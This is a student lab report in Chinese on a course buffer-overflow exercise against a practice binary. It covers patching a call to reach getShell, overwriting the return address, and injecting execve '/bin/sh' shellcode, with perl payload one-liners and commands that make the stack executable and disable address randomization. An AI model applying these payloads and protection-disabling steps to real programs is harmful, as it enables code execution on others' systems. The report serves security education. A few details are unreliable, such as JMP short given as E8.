2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

一、实践说明

实践目标

  • 对象:名为pwn1的linux可执行文件

  • 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串

  • 学习目标:运行这个代码片段。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell而正常情况下这个代码是不会被运行的。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

  • 代表现实情况中的攻击目标的思路:

    • 运行原本不可访问的代码片段。

    • 强行修改程序执行流。

    • 以及注入运行任意代码。

基础知识

  • 需要掌握的内容:

    • 熟悉Linux基本操作。能看懂常用指令,如管道(|),输入、输出重定向(>)等。

    • 理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。

    • 会使用gdb,vi。

  • 指令、参数。

  • 理解思路。

二、 实践任务

1. 直接修改程序机器指令,改变程序执行流程

  • 输入指令objdump -d pwn1 | morepwn1文件进行反汇编

  • 分析反汇编的结果

    • main函数中call 8048491 <foo>是汇编指令,其机器码为e8 d7 ff ff ff,e8即跳转的意思。这条指令将调用位于地址8048491处的foo函数。

    • 其下一条指令的地址为80484ba,而机器码中的0xd7ffffff = 0x080484ba - 0x08048491 为主函数执行位置和foo函数起始地址的差(d7ffffff是补码,表示-41)。

    • main函数调用foo,对应机器指令为e8 d7ffffff
      想让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就行。即0x080484ba - 0x0804847d = 0xffffffc3

  • 输入指令vi pwn1 打开以ASCII码显示的文件,但此时显示是乱码。

  • 输入指令:%!xxd 将文件转换为16进制查看。并找到d7ffffff 所在位置,输入i 进入插入模式,将d7修改为c3

  • 输入指令:%!xxd -r 将文件转化为ASCII码形式,再输入:wq保存并退出。

  • 再输入指令objdump -d pwn1 | more 查看,发现pwn1文件已经被修改了。

  • 此时再运行修改后的代码,就会得到shell提示符。

2. 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 通过反汇编的指令查看foo函数中为输入预留的空间

  • 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节(4为EBP占用的内存空间)。

  • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

  • 我们在gdb pwn1调试中中输入至少36字节的数据,如1111111122222222333333334444444412345678,发现Segmentation fault 的错误提示,且使用命令info r可以查看到eip寄存器的地址为0x34333231

  • 我们将33~36字节的内容替换为getShell的地址0x0804847d,字符串以ASCII码输入,同时机器为小端法,因此应为\x7d\x84\x04\x08。即是输入11111111222222223333333344444444\x7d\x84\x04\x08

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车。于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后使用catxxd查看input文件的内容是否如预期。

  • 通过管道符| ,输入命令(cat input; cat ) | ./pwn2 将构造的输入注入并运行,结果如下:

3. 注入Shellcode并执行

  • (1)构造buf的方法:该任务中我们可以观察到缓冲区的空间并不是很大并不是很大,同时经过老师视频的讲解,我们可以确定应该是采用将shellcode放在后面的方法,因此直接对第一种方法进行测试,结构为:anything+retaddr+nops+shellcode

  • (2)准备工作:

    • 先利用apt-get install execstack命令安装execstack软件包。

    • foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行。execstack -s pwn3 设置堆栈可执行;
      execstack -q pwn3 查询文件的堆栈是否可执行,结果为X表示可执行。

    • linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化。

more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭;

echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化;

more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭。

  • (3)构造payload

    • 参考老师给出的代码,我们首先构造一个input_shellcode:

    • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。

    • 重新开启一个a终端(非root模式下),通过(cat input_shellcode;cat) | ./pwn3 运行pwn3。

    • 再开一个b终端,从中输入ps -ef | grep pwn3 查看pwn3的进程号。

    • 启用gdb调试并定位pwn3进程。disassemble foo 进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    • 在a终端中按下回车运行, 程序执行到断点停止。再在b终端输入c继续运行程序。

    • info r esp 查看esp寄存器地址。

    • x/16x 0xffffd390 以16进制形式查看0xffffd390地址后面16字节的内容

  • (4)修改输入并实现shellcode注入

    • 修改注入代码的地址:

    • perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。

    • 输入命令(cat input_shellcode;cat) | ./pwn3 运行发现shellcode注入成功。

三、 问题回答

  • 什么是漏洞,漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。
漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
CMP:38~3D
JMP:

JMP short:E8
JMP near:E9
JMP word:FF
JMP far:EA
  • 掌握反汇编器与十六进制编程器
反汇编指令:

objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section

十六进制编程器:是用来以16进制视图进行文本编辑的工具软件。

  vim <filename> 以ASCII码形式显示可执行文件的内容

  :%!xxd 将显示模式切换为16进制模式

  :%!xxd 将16进制切换回ASCII码模式

四、 心得体会

在前几个学期的学习中,缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
虽然中途遇到很多挫折,但通过网上资料的查找和与同学交流的方式,这次实验也算圆满完成。
通过观看视频和亲手做实验,我也对缓冲区溢出有了更深入的了解,相信在以后的学习生活中,我也会多多动手,实践出真知。

五、遇到的问题和解决方法

  • 问题一:在gdb调试时,显示“未找到命令”
  • 解决:在root下使用命令apt-get install gdb安装。

  • 问题二:gdb调试后出现Detaching after fork from child process ***错误。
  • 解决:gdb报信息Detaching after fork from child process ***意思是debug只能跟踪一条进程,这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1,所以要在开始备份pwn1,再在这步调试。

  • 问题三:再开另外一个终端用gdb调试pwn3时,显示“不允许的操作
  • 解决:不能在root模式下运行pwn3,需要重新开启个终端再运行pwn3,再开一个终端调试(总共三个终端)。